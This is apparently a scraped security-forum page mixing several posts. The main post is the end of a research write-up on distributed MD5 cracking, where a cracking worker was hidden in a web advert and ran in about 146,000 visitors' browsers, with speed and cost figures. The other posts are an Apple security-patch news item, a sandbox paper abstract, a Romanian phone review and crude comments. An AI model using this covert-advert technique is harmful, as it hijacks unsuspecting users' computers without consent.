worker node into a rich media advert and deploy it on an ad network. Using this ad network we paid $0.50 for 1000 impressions (advert displayed to user), each one of those users would then start cracking hashes providing they had JavaScript enabled. Below is the advert that was displayed to users. [h=3]Analysis[/h] Firstly, let us compare the performance of our MD5 hashing algorithms. Speeds are shown in million hashes per second (MH/s). The benchmarks were run on the following CPU and GPU. CPU – Intel Core 2 Duo @ 2.53GHz, GPU – ATI HD5570. Here we can see that the OpenCL HashCat implementation is by far the fastest, with WebCL being around 15 times slower, however our WebCL algorithm isn’t heavily optimised. It is also clear just how slow JavaScript is, with over 2000 Chrome-JavaScript nodes needed to equal the power of one GPU. However Chrome is by far the fastest browser and as we see in the graph below the number of nodes needed for other browsers rises dramatically. For example, over 40,000 IE8-JavaScript nodes would be needed to give the equivalent power of one GPU. Now for the deployment statistics. We weren’t really expecting to see any WebCL nodes since the technology is so new and an extension is needed for it to work. Indeed there weren’t any. The following statistics therefore are only for the JavaScript implementation. [TABLE] [TR] [TD] Highest Speed Achieved [/TD] [TD] 110.280MH/s [/TD] [/TR] [TR] [TD] Highest Number of Nodes Connected [/TD] [TD] 7615 [/TD] [/TR] [TR] [TD] Total Nodes Connected [/TD] [TD] 146,740 [/TD] [/TR] [TR] [TD] Average Speed [/TD] [TD] 20.49MH/s [/TD] [/TR] [TR] [TD] Longest connected node [/TD] [TD] 3 Days, 13 Hrs. 25 Mins. [/TD] [/TR] [TR] [TD] Fastest node [/TD] [TD] Chrome 13 0.563MH/s [/TD] [/TR] [TR] [TD] Costs [/TD] [TD] $102 [/TD] [/TR] [TR] [TD] Cost per 1 Billion MD5 [/TD] [TD] $0.028 [/TD] [/TR] [TR] [TD] Cost to recover 8 Char A-Za-z0-9 [/TD] [TD] ~$6,250 [/TD] [/TR] [TR] [TD] Time needed to recover 8 Char A-Za-z0-9 [/TD] [TD] 123 Days! [/TD] [/TR] [/TABLE] Based on these statistics we can estimate the performance of the DHC if we assume that we only have WebCL nodes. [TABLE] [TR] [TD] JavaScript Average Node Speed [/TD] [TD] 0.05MH/s [/TD] [/TR] [TR] [TD] WebCL Estimated Average Node Speed [/TD] [TD] 10MH/s [/TD] [/TR] [TR] [TD] Amazon EC2 GPU Instance IGHashGPU Speed [/TD] [TD] 2790MH/s1 [/TD] [/TR] [TR] [TD] Amazon EC2 Cost [/TD] [TD] $2.10 per hour [/TD] [/TR] [/TABLE] Using the above statistics, we have done just that, and compared the estimated WebCL performance to the JavaScript performance we achieved and the performance of an Amazon EC2 GPU instance running IGHashGPU. From these estimates we can expect WebCL to be roughly 50% faster than using Amazon’s EC2 GPU instances. We can also see that based on our estimates WebCL is faster however, with this distributed platform speed can be varied depending on what the daily spend limit for the advertising campaign is set to. For example, if we doubled the daily spend limit we would expect to get double the number of impressions in the same amount of time, thus roughly doubling our speed. Of course, eventually there will be a limit on the speed that can be achieved due to the centralised server acting as a bottleneck. [h=3]Conclusion[/h] We can see that currently, with WebGL and JavaScript, it is not possible / cost effective to crack hashes in a distributed manner over the web. However, WebCL looks very promising and given the industry backing it has, it seems likely it will become integrated into some browsers in the future. We can see that already in this early stage of its development, with our modest estimates and our MD5 algorithm it already outperforms the cloud. Whilst deploying such systems on advertising networks might not be the way forward it seems clear that with WebCL distributed computing on the web will become a reality opening up a realm of future possibilities. [h=3]References[/h] 1Whitepixel breaks 28.6 billion password/sec - Zorinaq Sursa: Distributed Hash Cracking on the Web - MWR Labs

[h=1]Apple Fixes OS X Flaw That Allowed Java Apps to Run With Plugin Disabled[/h]by Dennis Fisher March 15, 2013, 10:21AM Apple on Thursday released a large batch of security fixes for its OS X operating system, one of which patches a flaw that allowed Java Web Start applications to run even when users had Java disabled in the browser. OS X 10.8.3 fixes 21 total vulnerabilities, and also includes a new version of the malware removal tool for Apple machines. The latest set of patches for Apple OS X comprises a lot of important security patches, but the most interesting one is the fix for the Java issue. There have been a slew of serious vulnerabilities in Java disclosed in the last few months, and security experts have been recommending that users disable Java in their various browsers as a protection mechanism. However, it appears that measure wasn't quite enough to protect users of some versions of OS X. "Visiting a maliciously crafted website could allow a Java Web Start application to be launched automatically even if the Java plug-in is disabled. Java Web Start applications would run even if the Java plug-in was disabled. This issue was addressed by removing JNLP files from the CoreTypes safe file type list, so the Web Start application will not be run unless the user opens it in the Downloads directory," Apple said in its advisory. Many of the vulnerabilities in OS X that Apple fixed could be used for remote code execution. One of those is a buffer overflow in QuickTime that could allow an attacker to run arbitrary code on a vulnerable machine. Among the other fixes in the update is a change that revokes trust in some fraudulent SSL certificates issued months ago by TURKTRUST. "Several intermediate CA certificates were mistakenly issued by TURKTRUST. This may allow a man-in-the-middle attacker to redirect connections and intercept user credentials or other sensitive information. This issue was addressed by not allowing the incorrect SSL certificates," Apple said. Sursa: Apple Fixes OS X Flaw That Allowed Java Apps to Run With Plugin Disabled | threatpost

The Sandbox Roulette: Are you ready for the gamble? Rafal Wojtczuk rafal@bromium.com Rahul Kashyap rahul@bromium.com 26 February 2013 What is a sandbox? In computer security terminology, a sandbox is an environment designed to run untrusted (or potentially exploitable) code in a manner that prevents the encapsulated code from damaging the rest of the system. The reason to introduce a sandbox is the assumption that it is more feasible to isolate potentially malicious code than to build a large application that cannot be subverted by an attacker. Many different products can be categorized as sandboxes. For this talk, we focus on Windows-based application sandboxes. Such a sandbox is designed to run as a single application on top of a Windows OS. Usually, from the point of view of user experience, the existence of a sandbox container should be as unobtrusive as possible while still providing an additional layer of security. Short overviews of mechanisms used to implement a few selected sandboxes are presented later in this paper. Download: http://blogbromium.files.wordpress.com/2013/03/blackhat-2013-sandbox-roulette_wp.pdf

Da, inchizi procesul (Hostcon sau cum cacat apare) sin Task Manager.

[h=1]Samsung Galaxy S4, lansat - acelasi design, procesor mai puternic, ecran mai performant[/h]de Redactia Hit | 15 martie 2013 Samsung a lansat noul varg de gama al companiei, Samsung Galaxy S4, intr-un eveniment pe care l-ati putut urmari prin streaming Video chiar prin intermediul unei transmisiuni oficiale a companiei sud-coreene. Din pacate, noul Galaxy S4 nu aduce prea multe schimbari de design fata de modelul anterior, semn ca producatorul a mizat, cum de altfel anticipam in urma cu doar cateva zile, pe specificatii si functii. Desi ne-am fi dorit sa gresim cand am facut cateva predictii referitoare la noul model varf de gama Samsung, ei bine, nu ne-am inselat. Noul Galaxy S4 este aproape identic cu modelul Galaxy S3, iar acest lucru nu ne place deloc. Dar vom vorbi despre acest aspect ceva mai tarziu. Acum, sa trecem la specificatiile noului super-smartphone al sud-coreenilor. Samsung Galaxy S4 are un ecran de 5 inci (Super AMOLED), mai mare decat al Galaxy s3 (4,8 inci), dar si o rezolutie fullHD cu 441 ppi. Ecranul pare fantastic si poate fi comparat cu cel al HTC One. Samsung Galaxy S4 dispune, asa cum se estima, de configuratii hardware foarte performante. Spunem configuratii pentru ca Galaxy S4 va ajunge pe piata in doua versiuni, in functie de regiunea unde va fi lansat. Astfel, avem versiunea cu chipset Exynos octa-core cu procesor tactat la 1,6 GHz, dar si versiunea cu cu chipset Qualcomm quad-core (Snapdragon 600 sau 800 - Samsung nu a precizat ce alegere a facut), cu procesor tactat la 1,9 GHz. Ambele variante de Samsung Gaqlaxy S4 promit sa ofere performante remarcabile. Samsung Galaxy S4 are 2GB RAM, camera foto de 13MP (f/2.2) si autofocus si ofera gama completa de conectivitate. Dimensiunile smartphone-ului sunt de 136.6 x 69.8 x 7.9 mm. Terminalul ruleaza Android 4.2.2 Jelly Bean. Samsung nu a anuntat pretul smartphone-ului, dar ne asteptam la preturi similare celor la care a fost lansata generatia anterioara. Samsung Galaxy S4 va ajunge pe piata incepand cu luna aprilie, in 155 de tari, printre care si Romania. Despre functiile noului Galaxy S4 vom vorbi intr-un articol separat Asa cum spuneam mai devreme, faptul ca Samsung a ales sa nu schimbe designul noului Galaxy S4 fata de generatia anterioara este o greseala, desi, suntem convinsi ca sud-coreenii o vad ca pe o strategie. Din pacate Samsung incearca sa faca ceea a facut Apple cu designul iPhone, ani la rand, adica ...nimic. Da, ne-a placut Galaxy S3, in momentul lansarii, in ciuda unor critici venite tot pe parte de design. Acum, insa, solutia prea comoda aleasa de Samsung, respectiv transferul de design de la Galaxy S3 la S4 ni se pare o idee foarte proasta. Vom vedea, desigur cum va reactiona piata la lansarea noului smartphone de la Samsung si cum vor primi fanii companiei noul model de top. Sursa foto: GSMArena Sursa: Samsung Galaxy S4, lansat - acelasi design, procesor mai puternic, ecran mai performant | Hit.ro

In loc sa mute un cacat dintr-o parte in alta, ar trebui sa isi mai cumpere niste servere deoarece de ceva timp merge ca pula Feisbucu asta.